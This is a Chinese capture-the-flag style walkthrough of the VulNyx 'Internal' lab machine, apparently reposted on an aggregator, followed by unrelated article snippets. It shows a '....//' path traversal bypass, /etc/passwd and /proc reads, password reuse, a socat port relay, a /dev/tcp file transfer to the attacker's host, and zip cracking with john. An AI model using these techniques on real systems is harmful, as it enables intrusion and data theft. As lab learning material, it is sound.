VulNyx - Internal

news/2024/11/19 4:40:23/文章来源:https://www.cnblogs.com/wssw/p/18378665

image
扫描发现有三个端口





image
basic验证需要用户名密码登录



访问80端口
\URLFinder 发现有个internal的php文件
image




看看有无任意文件读取漏洞
image
发现没有回显 但是总感觉怪怪的 应该是有啥东西 因为他这里的出现了pre 标签也许他是过滤了../ 我们改成....//试试
image
真的读取到了




通过读取passwd发现有个admin用户
admin:x:1000:1000:admin,,,:/home/admin:/bin/bash
在爆破9999端口basic验证无效之后 其实就不知道咋搞了




看wp学习到我们可以利用proc文件夹来读取更多的信息
可以看这篇文章proc

cat /proc/【pid】/cmdline 可以读取到当前进程是在执行什么
例如
image
就可以看到 pid为1的进程在执行 initsplash



我们利用这一点直接爆破
image
image
发现basic的密码了
image
登录成功 但是没发现啥东西
除此之外我们还发现了一个有趣的端口5901 这是vnc的端口
image




尝试一下用同样的密码能否ssh登录
image
登录成功



ss -al 查看所有socket监听端口
发现了这个5901的端口 这个端口可以vnc登录 但是他绑定了
image
但从图中可以知道他只允许本地地址访问
我们需要将他的端口转发出来让内网的kali也就是我们的攻击机能访问得到



先wget 一下socatx64.bin
然后
./socatx64.bin TCP-LISTEN:5900,fork TCP4:192.168.200.246:5901&
将端口5901转发到端口5900
再来ss -la查看一下我们看到5900前面是0.0.0.0也就是说其他主机也可以访问了不再局限于本机ip
image



那么接下来我们要看看如何登录vnc了
image
vnc登录需要一个passwd的文件
这里挺阴险的他有个隐藏文件...
image
cd ...就能看到passwd文件了



是个zip
image
解压需要密码
image



将这个文件传给kali
用nc传输
kali:nc -lp 10888 > a.zip
靶机:cat internalkey.zip > /dev/tcp/192.168.200.101/10888



将zip转化为hash以便爆破密码zip2john a.zip> tmp
再用john爆破Miami john tmp --wordlist=/root/Desktop/fuzz/rockyou.txt/rockyou.txt
但是发现爆破不出来



猜测还是之前那个basic的密码
解压成功
image

接下来直接用vncviwer就OK了
vncviewer 192.168.200.246:5900 -passwd passwd

但是我不知道除了啥问题总是说vncviewer: VNC server closed connection 反正总体思路就是这样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/789410.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

财务知识-会计科目

财务知识-会计科目

【JAVA开发】JDBC链接各大数据库(纯代码)

原创 OA圈子在开发中,我们有时候会涉及到链接第三方数据库视图或者中间库,此时我们需要在OA代码中去创建相应的链接工具类,下面我们分享链接工具类的方法: 链接工具类: import com.seeyon.ctp.common.AppContext; import java.sql.*;public class JdbcUtil {private stat…

第2天---RSA基础题型

T1.知pqe求d解m题目: from Crypto.Util.number import *flag = bNSSCTF{******}p = getPrime(512) q = getPrime(512) n = p*q e = 65537 phi = (p-1)*(q-1)m = bytes_to_long(flag)c = pow(m, e, n)print(fp = {p}) print(fq = {q}) print(fe = {e}) print(fc = {c}) p = 105…

带记忆的对话api上线

Link.AI 记忆对话 API原生支持开发者在应用/工作流中设置的记忆功能。开发者无需自行维护上下文记忆并通过messages参数传递,只需传入用户问题和身份标识即可,由系统按用户维度对上下文记忆进行维护,从而实现长期记忆下的多轮对话。API 简介 Link.AI 已为开发者提供了调用智…

devexpress 组件使用研究

1.提示框private void textEdit1_KeyPress(object sender, KeyPressEventArgs e) { if (e.KeyChar == ( char)Keys.Enter) { AlertControl alert = new AlertControl(); alert.Show(this, "提示", textEdit1.Text, true);} }

Vue2实现应用添加水印的功能

需求 有的情况,我们需要给我们的网页添加水印。我们可以使用第三方库Watermark Design。官方地址:https://watermark-design.github.io/watermark/zh/ 效果示例代码 入口文件main.js import WatermarkDesign from @watermark-design/vue; Vue.use(WatermarkDesign)vue容器App…

Hive源码解析

1.概述 Apache Hive是一款建立在Hadoop之上的数据仓库工具,它提供了类似于SQL的查询语言,使得用户能够通过简单的SQL语句来处理和分析大规模的数据。本文将深入分析Apache Hive的源代码,探讨其关键组件和工作原理,以便更好地理解其在大数据处理中的角色。 2.内容 在开始源代…

芒格-“用幸存者心态去对待问题,永远不要有受害者心态”

我不会因为人性而感到意外,也不会花太多时间感受背叛, 我总是低下头去调整自己,去适应这一类事情, 所以我不允许自己花太多时间,去感受背叛, 但凡有一丁点这种想法,从我脑海闪过,我就马上规避掉了, 我不喜欢任何成为受害者的感觉, 我认为这是一种反其道而行之的人类思…

三分钟总结开源流程表单的优势特点

今天一起来看看开源流程表单的优势特点,一起了解它为何能助力企业降本增效。实现流程化办公,可以借助低代码技术平台、开源流程表单的优势特点。作为当前较为理想的平台产品,低代码技术平台凭借够灵活、好操作、可视化界面的优势特点,得到了通信业、医疗、高校等很多行业客…

使用zig语言制作简单博客网站(六)文章详情页

前端代码前端代码 <!DOCTYPE html> <html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" …